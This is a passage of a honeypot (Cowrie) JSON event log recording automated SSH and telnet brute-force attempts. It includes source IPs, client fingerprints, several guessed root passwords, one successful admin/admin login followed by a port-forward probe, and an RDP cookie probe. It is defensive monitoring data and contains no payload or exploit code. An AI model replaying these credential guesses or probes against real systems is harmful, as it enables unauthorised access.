.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:02:01.142597Z","src_ip":"37.233.85.71","session":"e8412aa95181","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eduard","message":"login attempt [root/eduard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:02:01.549897Z","src_ip":"37.233.85.71","session":"e8412aa95181","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:02:02.656919Z","src_ip":"37.233.85.71","session":"e8412aa95181","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":56864,"dst_ip":"159.203.135.109","dst_port":22,"session":"650505ad74dd","protocol":"ssh","message":"New connection: 80.66.85.226:56864 (159.203.135.109:22) [session: 650505ad74dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:02:03.148431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:02:03.154205Z","src_ip":"80.66.85.226","session":"650505ad74dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:02:03.245740Z","src_ip":"80.66.85.226","session":"650505ad74dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"michael1","message":"login attempt [root/michael1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:02:03.529350Z","src_ip":"80.66.85.226","session":"650505ad74dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:02:04.622887Z","src_ip":"80.66.85.226","session":"650505ad74dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45396,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea62c19465df","protocol":"telnet","message":"New connection: 192.119.13.58:45396 (10.17.0.5:23) [session: ea62c19465df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:02:10.308759Z"}
{"eventid":"cowrie.session.closed","duration":32.51962184906006,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:02:12.487291Z","src_ip":"192.119.13.58","session":"238c0dfdf01c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.32863450050354,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:02:17.637294Z","src_ip":"192.119.13.58","session":"ea62c19465df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35842,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcf34edafd53","protocol":"telnet","message":"New connection: 192.119.13.58:35842 (10.17.0.5:23) [session: fcf34edafd53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:02:17.755992Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44276,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fa982e94251","protocol":"telnet","message":"New connection: 192.119.13.58:44276 (10.17.0.5:23) [session: 3fa982e94251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:02:19.368056Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":50018,"dst_ip":"159.203.135.109","dst_port":22,"session":"2dc6ade1ef1f","protocol":"ssh","message":"New connection: 103.27.238.116:50018 (159.203.135.109:22) [session: 2dc6ade1ef1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:02:48.206743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:02:48.214255Z","src_ip":"103.27.238.116","session":"2dc6ade1ef1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:02:48.487354Z","src_ip":"103.27.238.116","session":"2dc6ade1ef1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"killer123","message":"login attempt [root/killer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:02:49.306998Z","src_ip":"103.27.238.116","session":"2dc6ade1ef1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:02:50.581850Z","src_ip":"103.27.238.116","session":"2dc6ade1ef1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.00499153137207,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:02:58.760860Z","src_ip":"192.119.13.58","session":"fcf34edafd53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54266,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d193de9ca9e","protocol":"telnet","message":"New connection: 192.119.13.58:54266 (10.17.0.5:23) [session: 1d193de9ca9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:03:00.890130Z"}
{"eventid":"cowrie.session.closed","duration":41.80818223953247,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:03:01.176258Z","src_ip":"192.119.13.58","session":"3fa982e94251","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42016,"dst_ip":"10.17.0.5","dst_port":23,"session":"588b403eb2cd","protocol":"telnet","message":"New connection: 192.119.13.58:42016 (10.17.0.5:23) [session: 588b403eb2cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:03:07.680319Z"}
{"eventid":"cowrie.session.closed","duration":25.823229789733887,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:03:33.503424Z","src_ip":"192.119.13.58","session":"588b403eb2cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.54071807861328,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:03:35.430745Z","src_ip":"192.119.13.58","session":"1d193de9ca9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42216,"dst_ip":"10.17.0.5","dst_port":23,"session":"be2f845123ea","protocol":"telnet","message":"New connection: 192.119.13.58:42216 (10.17.0.5:23) [session: be2f845123ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:03:40.574844Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57962,"dst_ip":"10.17.0.5","dst_port":23,"session":"72864f458eee","protocol":"telnet","message":"New connection: 192.119.13.58:57962 (10.17.0.5:23) [session: 72864f458eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:03:46.653762Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"10.17.0.5","dst_port":22,"session":"33a0868a6fd1","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (10.17.0.5:22) [session: 33a0868a6fd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:03:52.081845Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:03:52.189729Z","src_ip":"77.90.185.16","session":"33a0868a6fd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":10324,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c0c7d26aef5","protocol":"ssh","message":"New connection: 87.251.64.176:10324 (10.17.0.5:22) [session: 9c0c7d26aef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:04:01.527187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:04:01.532401Z","src_ip":"87.251.64.176","session":"9c0c7d26aef5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:04:01.629465Z","src_ip":"87.251.64.176","session":"9c0c7d26aef5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:04:01.920696Z","src_ip":"87.251.64.176","session":"9c0c7d26aef5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:04:02.019730Z","session":"9c0c7d26aef5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:04:02.120807Z","src_ip":"87.251.64.176","session":"9c0c7d26aef5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:04:02.220236Z","src_ip":"87.251.64.176","session":"9c0c7d26aef5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":33728,"dst_ip":"159.203.135.109","dst_port":22,"session":"88662ae52929","protocol":"ssh","message":"New connection: 77.94.47.83:33728 (159.203.135.109:22) [session: 88662ae52929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:04:03.262571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:04:03.268074Z","src_ip":"77.94.47.83","session":"88662ae52929","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:04:03.392283Z","src_ip":"77.94.47.83","session":"88662ae52929","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15091987","message":"login attempt [root/15091987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:04:03.765111Z","src_ip":"77.94.47.83","session":"88662ae52929","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:04:04.892721Z","src_ip":"77.94.47.83","session":"88662ae52929","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":60621,"dst_ip":"10.17.0.5","dst_port":22,"session":"e188f5504d7d","protocol":"ssh","message":"New connection: 152.42.212.128:60621 (10.17.0.5:22) [session: e188f5504d7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:04:18.975035Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:04:18.980300Z","src_ip":"152.42.212.128","session":"e188f5504d7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:04:18.984637Z","src_ip":"152.42.212.128","session":"e188f5504d7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.68790936470032,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:04:22.341572Z","src_ip":"192.119.13.58","session":"72864f458eee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.029202461242676,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:04:27.603908Z","src_ip":"192.119.13.58","session":"be2f845123ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58086,"dst_ip":"10.17.0.5","dst_port":23,"session":"095996e0d78b","protocol":"telnet","message":"New connection: 192.119.13.58:58086 (10.17.0.5:23) [session: 095996e0d78b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:04:32.698675Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.227.254.170","src_port":19160,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4aade6f4c27","protocol":"ssh","message":"New connection: 45.227.254.170:19160 (159.203.135.109:22) [session: e4aade6f4c27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:04:49.162670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:04:49.166845Z","src_ip":"45.227.254.170","session":"e4aade6f4c27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:04:49.270191Z","src_ip":"45.227.254.170","session":"e4aade6f4c27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:04:49.721697Z","src_ip":"45.227.254.170","session":"e4aade6f4c27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.17398715019226,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:05:13.872582Z","src_ip":"192.119.13.58","session":"095996e0d78b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50186,"dst_ip":"10.17.0.5","dst_port":23,"session":"3979c594fea7","protocol":"telnet","message":"New connection: 192.119.13.58:50186 (10.17.0.5:23) [session: 3979c594fea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:05:26.958386Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48910,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e4f1aad3ca7","protocol":"telnet","message":"New connection: 192.119.13.58:48910 (10.17.0.5:23) [session: 0e4f1aad3ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:05:34.385820Z"}
